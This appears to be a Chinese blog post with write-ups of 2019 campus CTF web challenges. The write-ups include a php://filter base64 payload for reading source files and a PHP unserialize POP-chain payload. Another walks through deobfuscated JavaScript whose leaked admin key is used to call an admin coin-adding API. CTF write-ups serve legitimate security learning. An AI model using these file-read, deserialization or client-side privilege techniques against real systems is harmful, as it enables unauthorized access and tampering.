Skip to content

CTF 校赛随记 [2019]

Published: at 09:14

本文从旧博客迁移而来。

文章中所有图片均引自原路径(GitHub 仓库),因此可能出现加载速度较慢的问题。

以下为原文内容。


随手记录一下(

ToC

5呢

简单的正则

通过构造符合题意的正则表达式即可得到 flag。

http://10.60.38.227:34003/?s=the%20flag12/d/31

你会那样读文件吗

进入后链接提示我们跳转到 hint.php,之后在源码中找到提示:

然后通过 php 伪协议获得 flag.php 的 base64,再通过解码就能拿到 flag了:

php://filter/read=convert.base64-encode/resource=flag.php

快速计算

标题虽然说是 Python 计算,但其实并用不到 Python(

通过观察我们知道我们需要计算的内容是第二个 div 里的算式去掉 =? 的部分,于是简单写一个油猴脚本:

1
// ==UserScript==
2
// @name New Userscript
3
// @namespace http://tampermonkey.net/
4
// @version 0.1
5
// @description try to take over the world!
6
// @author You
7
// @match http://10.60.38.227:34005/
8
// @grant none
9
// ==/UserScript==
10
11
(function () {
12
const t = document.querySelectorAll("div")[1].textContent;
13
const ev = t.substr(0, t.length - 2);
14
const result = eval(ev);
15
document.querySelector("input[type=text]").value = result;
16
document.querySelector("input[type=Submit]").click();
17
})();

加载后刷新页面即可:

哪个才是 flag

找不同,在源码中找到真正的 flag:

Serialize & Unserialize

首先先根据题目要求构造字符串:

1
<?php
2
$KEY="Spirit";
3
echo serialize($KEY);

得到第一步答案:s:6:"Spirit";,根据提示跳转到 info.php

1
<?php
2
@error_reporting(0);
3
class Start
4
{
5
public $a;
6
public $b;
7
public function __destruct()
8
{
9
$this->a->test1();
10
}
11
}
12
class Func1
13
{
14
public $a;
15
public $b;
16
public function __call($test, $arr)
17
{
18
$this->b="字符串".$this->a;
19
}
20
}
21
class Func2
22
{
23
public $a;
24
public $b;
25
public function __toString()
26
{
27
$s=$this->a;
28
$s();
29
return "1";
30
}
31
}
32
class Func3
33
{
34
public $a;
35
public $b;
36
public function __invoke()
37
{
38
$this->a->get_flag();
39
}
40
}
41
class Flag
42
{
43
public function get_flag()
44
{
45
echo "flag{****************}";
46
}
47
}
48
$a=isset($_GET['go'])?$_GET['go']:"";
49
$b=@unserialize($a);
50
if ($a&&!$b) {
51
echo "unserilize('".$a ."') 失败";
52
}

根据观察,可以发现类从上到下类似链式调用,于是补充代码如下:

得到输出结果:

1
O:5:"Start":2:{s:1:"a";O:5:"Func1":2:{s:1:"a";O:5:"Func2":2:{s:1:"a";O:5:"Func3":2:{s:1:"a";O:4:"Flag":0:{}s:1:"b";N;}s:1:"b";N;}s:1:"b";N;}s:1:"b";N;}flag{**}

log

首先观察 access.log 文件本身,我们可以发现其中充斥这很多 URI 编码后的字符串。我们先将其过一遍 decodeURIComponent,再去除一些无用的内容,诸如 UserAgent

再观察,可以发现这是一次 SQL 注入的攻击日志,攻击者通过各位比较确认了 flag。于是我们可以利用攻击者确认 flag 的日志获得 flag。搜索 !=

可以看到,这些数字已经是我们想要的 fla了。最后将其拼接起来即可:

可靠的WebApp

通过观察可以发现核心在于 main.min.js

打开文件,发现文件经过了混淆。我们使用 JSNice 简单对内容进行反混淆:

再对所有用到 _0x76ef 的项进行整理,最后得到相对反混淆后的结果。在这个过程中,我们观察到这个对象:

1
this.APIModels = {
2
authorize: {
3
model: "authorize",
4
},
5
userInfo: {
6
model: "userInfo",
7
},
8
buyFlag: {
9
model: "buyFlag",
10
},
11
adminAddCoin: {
12
model: "adminAddCoin",
13
key: "Admin123321.",
14
count: 0,
15
},
16
};

通过这个对象,我们构建出增加余额的函数(上文对象中 count 需要改大):

1
this.adminAddCoin = function () {
2
this.call(
3
"adminAddCoin",
4
this.APIModels.adminAddCoin,
5
function (canCreateDiscussions) {
6
console.log(canCreateDiscussions);
7
}
8
);
9
};

最后,用我们修改完的 main 函数在 Console 中替换原有的 console 即可:

最后修改后的 main.min.js 如下:

1
"use strict";
2
3
function main(key) {
4
function GUIPARAMS() {
5
let _this = this;
6
this.token = null;
7
8
this.onerror = function () {
9
alert("Error on request.");
10
};
11
12
this.toCharArr = function (str) {
13
str = str.split("");
14
let arr = new Uint8Array(str.length);
15
str.forEach(function (canCreateDiscussions, wikiId) {
16
arr[wikiId] = canCreateDiscussions.charCodeAt(0);
17
});
18
return arr;
19
};
20
21
this.fromCharArr = function (canCreateDiscussions) {
22
let plan_count = "";
23
canCreateDiscussions.forEach(function (year_data) {
24
plan_count = plan_count + String.fromCharCode(year_data);
25
});
26
return plan_count;
27
};
28
29
this.pkcs7Pad = function (msg) {
30
let val = 16 - (msg.length % 16);
31
let log = new Uint8Array(msg.length + val);
32
log.set(msg, 0);
33
log.fill(val, msg.length, msg.length + val);
34
return log;
35
};
36
37
this.pkcs7UnPad = function (range) {
38
let start = range[range.length - 1];
39
if (start > 16) {
40
return null;
41
}
42
return range.subarray(0, range.length - start);
43
};
44
45
this.ui8concat = function (sumX, data) {
46
let command_codes = new Uint8Array(sumX.length + data.length);
47
command_codes.set(sumX, 0);
48
command_codes.set(data, sumX.length);
49
return command_codes;
50
};
51
52
this.APIModels = {
53
authorize: {
54
model: "authorize",
55
},
56
userInfo: {
57
model: "userInfo",
58
},
59
buyFlag: {
60
model: "buyFlag",
61
},
62
adminAddCoin: {
63
model: "adminAddCoin",
64
key: "Admin123321.",
65
count: 114514,
66
},
67
};
68
69
this.call = function (path, model, savetoBd) {
70
this.iv = this.toCharArr(
71
CryptoJS.MD5(Math.random().toString(36).substr(2))
72
.toString()
73
.substr(0, 16)
74
);
75
let _0xe48ex10 = new aesjs.ModeOfOperation.cbc(this.key, this.iv);
76
let value = this.ui8concat(
77
this.iv,
78
_0xe48ex10.encrypt(this.pkcs7Pad(this.toCharArr(JSON.stringify(model))))
79
);
80
let param = new XMLHttpRequest();
81
82
param.timeout = 3000;
83
param.open("POST", "/api/" + path, true);
84
param.setRequestHeader("Content-type", "application/octet-stream");
85
if (this.token) {
86
param.setRequestHeader("X-Token", this.token);
87
param.setRequestHeader(
88
"X-Message-Code",
89
CryptoJS.HmacSHA1(this.token, JSON.stringify(model))
90
);
91
}
92
93
param.onload = function (canCreateDiscussions) {
94
if (this.status === 200) {
95
let data = JSON.parse(this.responseText);
96
if (data.status === 0) {
97
let rua = new aesjs.ModeOfOperation.cbc(_this.key, _this.iv);
98
data.payload = JSON.parse(
99
_this.fromCharArr(
100
_this.pkcs7UnPad(
101
rua.decrypt(_this.toCharArr(window.atob(data.payload)))
102
)
103
)
104
);
105
savetoBd(data);
106
return;
107
}
108
}
109
_this.onerror();
110
};
111
param.ontimeout = this.onerror;
112
param.onerror = this.onerror;
113
param.send(value);
114
};
115
116
this.getUserInfo = function () {
117
this.call(
118
"userInfo",
119
this.APIModels.userInfo,
120
function (canCreateDiscussions) {
121
console.log(canCreateDiscussions);
122
document.getElementById("output").innerText =
123
"You have " +
124
canCreateDiscussions.payload.coin +
125
" coins in your account.";
126
}
127
);
128
};
129
130
this.buyFlag = function () {
131
this.call(
132
"buyFlag",
133
this.APIModels.buyFlag,
134
function (canCreateDiscussions) {
135
console.log(canCreateDiscussions);
136
let output = document.getElementById("output");
137
if (canCreateDiscussions.payload.success) {
138
output.innerText = canCreateDiscussions.payload.flag;
139
} else {
140
output.innerText = canCreateDiscussions.payload.reason;
141
}
142
}
143
);
144
};
145
146
this.authorize = function () {
147
if (key) {
148
this.key = this.toCharArr(key);
149
} else {
150
return;
151
}
152
this.call(
153
"authorize",
154
this.APIModels.authorize,
155
function (canCreateDiscussions) {
156
console.log(canCreateDiscussions);
157
_this.token = canCreateDiscussions.payload.token;
158
let packByNumType = document.getElementById("buttons");
159
packByNumType.innerHTML = "";
160
let data = document.createElement("button");
161
data.innerHTML = "User Info";
162
data.addEventListener("click", function () {
163
_this.getUserInfo();
164
});
165
packByNumType.append(data);
166
let pivot = document.createElement("button");
167
pivot.innerHTML = "Buy Flag";
168
pivot.addEventListener("click", function () {
169
_this.buyFlag();
170
});
171
packByNumType.append(pivot);
172
}
173
);
174
};
175
176
this.adminAddCoin = function () {
177
this.call(
178
"adminAddCoin",
179
this.APIModels.adminAddCoin,
180
function (canCreateDiscussions) {
181
console.log(canCreateDiscussions);
182
}
183
);
184
};
185
}
186
let instance = new GUIPARAMS();
187
instance.authorize();
188
window.instance = instance;
189
}